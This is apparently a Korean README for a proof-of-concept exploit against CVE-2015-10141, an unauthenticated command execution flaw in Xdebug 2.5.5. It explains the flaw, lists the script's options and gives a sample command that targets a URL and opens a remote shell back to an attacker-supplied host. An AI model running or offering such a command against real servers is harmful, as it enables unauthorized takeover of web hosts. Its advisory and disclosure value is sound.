
CVE-2015-10141용 POC 익스플로잇
# Exploit Title: xdebug Unauthenticated Command Execution
# Exploit Author: D3Ext
# Vendor Homepage: https://xdebug.org/
# Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows
# Version: 2.5.5
# Tested on: Kali Linux 2025
# CVE: CVE-2015-10141
Xdebug 2.5.5 및 이전 버전(PHP 디버깅 확장 프로그램)에는 인증되지 않은 OS 명령 주입 취약점이 존재합니다. 원격 디버깅이 활성화되면 Xdebug는 포트 9000에서 수신 대기하고 인증 없이 디버거 프로토콜 명령을 수락합니다. 공격자는 이 인터페이스를 통해 조작된 eval 명령을 보내 임의의 PHP 코드를 실행할 수 있으며, 이는 system() 또는 passthru()와 같은 시스템 수준 함수를 호출할 수 있습니다. 이로 인해 웹 서버 사용자의 권한으로 호스트가 완전히 손상됩니다.
usage: CVE-2015-10141.py [-h] -u URL -l LHOST
CVE-2015-10141 - xdebug v2.5.5 RCE Exploit
options:
-h, --help show this help message and exit
-u, --url URL URL of the target
-l, --lhost LHOST LHOST to trigger the RCE
익스플로잇을 실행하고 index.php와 같은 PHP 파일이 포함된 유효한 URL과 로컬 호스트를 제공하면 됩니다. 그러면 익스플로잇이 의사 터미널을 설정하려고 시도하며, 이를 통해 원격으로 명령을 실행할 수 있습니다.
python3 exploit.py -u http://10.10.10.83/index.php -l 10.10.16.3
참고로, 경우에 따라 출력이 전혀 반영되지 않고 실행된 명령의 첫 번째 줄만 표시될 수 있습니다. 이는 스크립트의 문제가 아니라 취약점이 이렇게 작동하기 때문입니다.)
https://github.com/advisories/GHSA-267w-63f8-m896
https://www.exploit-db.com/exploits/44568
https://www.rapid7.com/db/modules/exploit/unix/http/xdebug_unauth_exec/
https://nvd.nist.gov/vuln/detail/CVE-2015-10141
https://www.wiz.io/vulnerability-database/cve/cve-2015-10141
https://feedly.com/cve/CVE-2015-10141
https://www.tenable.com/plugins/nessus/112210
이 프로젝트는 MIT 라이선스에 따라 제공됩니다.
Copyright © 2025, D3Ext